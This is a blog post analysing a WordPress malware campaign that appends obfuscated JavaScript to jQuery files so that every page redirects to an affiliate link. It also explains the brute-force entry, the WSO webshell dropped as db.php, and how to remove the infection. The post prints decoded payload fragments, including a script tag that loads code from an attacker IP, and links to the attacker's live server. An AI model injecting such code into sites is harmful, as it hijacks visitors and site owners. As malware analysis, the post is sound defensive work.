WordPress Hacks: jQuery JS script injection
In the second of my series of articles about different exploits seen for WordPress sites, I discuss a particular attack that causes all pages on an infected site to redirect to a page of the attacker's choice, which in this case was an affiliate link. This attack involves adding malicious code to jQuery .js files based on the assumption that jQuery is probably going to be included in every page request.
The article will discuss how the exploit works, what it does once the infection has been made, how the attack is performed and how to remove it, as well as identifying the server involved in making this attack work. It also briefly discusses some variations that have been seen.
- Malicious code downloaded from attacker's server (encoded)
- Malicious code downloaded from attacker's server (decoded)
Detection of Infections
Once infected, whenever a user visits a page on the site in question they will be redirected to another site. Reloading the site again will not cause this redirect; a cookie is used as a flag to control how often the redirection will take place, and removing this cookie will cause the redirection to occur again next time a page is loaded. Redirection is caused by the malicious code setting a new value for
This attack targets all files that match a pattern similar to
jquery*.js, meaning that files like
jquery.ui.core.js will all be affected.
jQuery additional code
The attack appends some malicious code to the end of any matching .js file. This code is obfuscated and looks like this: -
This code contains two main parts: an array
_0xaae8 which contains six obfuscated strings and code which uses this array to execute a command. After decoding, the array contents becomes: -
["", "join", "reverse", "split", ">tpircs/<>\"sj.yreuqj/87.611.942.431//:ptth"=crs tpircs<", "write"]
Thus, the final command becomes: -
A breakdown of the steps gives us to the following functionality: -
- Take the string ">tpircs/<>\"sj.yreuqj/87.611.942.431//:ptth\"=src tpircs<" and split it into an array (list) of characters.
- Reverse this list of characters.
- Join the list of characters (using an empty string in between each) to give <script src="http://184.108.40.206/jquery.js"></script>".
document.write()to write this string to the browser's document. Once this is written, the browser will interpret it, meaning that the script will be executed.
- The browser downloads another
jquery.jsfile from the server at
This code uses a few interesting techniques to help avoid detection: -
- All code strings are obfuscated by using escape sequences instead of actual characters. An escape sequence is usually used to insert a special character into a string literal (such as a quote mark in a string surrounded by quotes, such as
"The book was called \"Hyperion\", by Dan Simmonds", but there's no reason that normal characters cannot also be included in strings using their hexadecimal ASCII or Unicode code-point (e.g. "A" is equivalent to "\x41").
- Instead of writing the call to
document.writeinstead takes the form
document["write"]. Furthermore, the "write" string is also accessed from the
_0xaae8, which is one extra level of misdirection on the attacker's part.
- After decoding, the script tag causes the browser to load this new script. The script is named
jquery.js, which is a simple way of avoiding attention as the current page will have already downloaded one or more files with a name similar to this (albeit from a different server).
Once decoded it's easy to see that the script is doing something that we perhaps do not want, however when encoded this purpose is not easy to perceive. However, it's also quite clear to see that this code has something to hide, so if you ever see something like this you should become extra vigilant!
The contents of the
jquery.js file downloaded from the attacker's server is also obfuscated in a similar way to the script above. As this code is larger I have posted a copy to PasteBin rather than displaying it in this article in full. I have also de-obfuscated the script and changed some of the function names to make it more readable.
This second script performs the following actions: -
- Checks to see if the
csrf_uidcookie is set for the current domain. If so the script performs no further actions. This is how the script avoids the redirection on every single page load, thus hiding its presence to the casual observer. Also note the cookie name; the name has been chosen deliberately in order to blend in as the acronym "CSRF" (Cross-site Request Forgery) is often used legitimately in web applications for a different purpose.
- If the cookie was not set, it then goes ahead and sets the cookie using some hard-coded values to control its lifetime, thus how often users get redirected.
- It then detects if the page is loaded by querying
document.loaded; if so, the redirection takes place and the browser loads the attacker's page.
- If the document is not yet loaded, the script creates an event handler for the document's "load" event which causes the redirection function to be called when the document becomes ready.
The actual redirection causes this hard-coded URL to be loaded by the browser: https://go.ad2up.com/afu.php?id=473791. This appears to be a link to an affiliate link network, and loading this page causes a further redirect to an advertiser after giving the attacker (who has the account ID 473791) some kind of payback from the advertiser.
Thanks to Alex Grey and an anonymous reader for supplying further details as to how this exploit is installed.
The following link gives some more details as to how the attack is performed: https://malware.expert/malware/db-php/.
It appears that the attacker specifically searches for WordPress sites which have user accounts with weak passwords. There are various ways in which an attacker can narrow down the list of potential users and I will write more about this in a future blog. Most WordPress sites however have an "admin" user so this user account commonly comes under brute-force password attack. This means that an attacker will simply attempt to log in as this user using a list of common passwords. If the password is weak then they will surely succeed eventually.
If the attacker is successful, they first edit the theme's
404.php template and insert the code that performs the infection of the JS files. This script contains the payload (the obfuscated JS that is added to all JS files on the site) and a script which recursively searches for JS files in which to insert this payload. The attacker saves this modified script and then immediately accesses it in order to run the exploit.
It is also common to see an additional script being uploaded after this, usually named
db.php. I will provide a full write-up of this exploit in a separate blog post, but in summary this script contains an obfuscated WSO webshell. This script allows the attacker (with a password) to perform almost any other exploit on the server.
Analysis of Attacker Servers
This attack could have injected code to redirect the browser to the actual affiliate link, however it has been written to involve an intermediary server at
220.127.116.11 which serves the actual payload that will be executed.
- Country: Ukraine
- City: Kyiv (Kiev)
- Lat./lng.: 50.450001, 30.523300
- AS: AS15895 (Kyivstar PJSC)
- OS: Win32
- Web server: Apache/2.4.17
- Server-side scripting: PHP/5.6.23
The server itself runs Apache and is configured to display server statistics. WARNING: the following is an active link to the attacker, so be aware that visiting this page will display your request to anybody visiting this page and to the attacker themselves! Warnings aside, here is the link: http://18.104.22.168/server-status. On this status page, we can see exactly how many people are requesting this malicious script from this server (as of writing there are around 2.9 requests every second to this server, and more than 2.5 million since the server came up). This just shows how widespread this attack actually is, and how much this attacker must be making from affiliate links!
Removal of this exploit is very easy. All that is required is to locate every file on the site that matches the pattern
jquery*.js and then to remove the malicious code that is appended to the file contents (see above for details). Once all files have been cleared, the infection has effectively been removed.
As mentioned above, attackers often drop a WSO webshell onto the server, often named
db.php. If these exist then it is extremely important that they also be deleted, but take care not to delete a valid WordPress script in the process.
My Web Exploit Detector is capable of detecting these scripts so this can also be installed and run in order to do a thorough check of all site files.
This exploit takes a lot of care to blend in by using some very common file and cookie names. It also takes care not to be too greedy; each user will only be redirected around once per day meaning that many people will simply accept this attack on their sites and not look for a way to remove it. Also, users of the site might not think to report the issue as when they reload the page to double check everything will seem to be okay. Hopefully detailing the information here will provide others with a way of finding out about this attack and also give them the ability to remove it.
While not particularly malicious in its effect, this exploit does however have a serious impact. For one, the scope of the attack means that somebody is making a lot of money from subversion and trickery. Secondly, both site owners and users are negatively affected by having control taken away from them and arbitrary content displayed to them without either party's consent. In addition to this, by dropping a WSO webshell onto the server the attackers are leaving the server open for any type of exploit in the future.
Fortunately, the exploit is easy to remove so I would advise anybody experiencing this exploit on their own sites to take the above action immediately. As always, please be careful when modifying source code; if in doubt ask an expert to edit these files for you.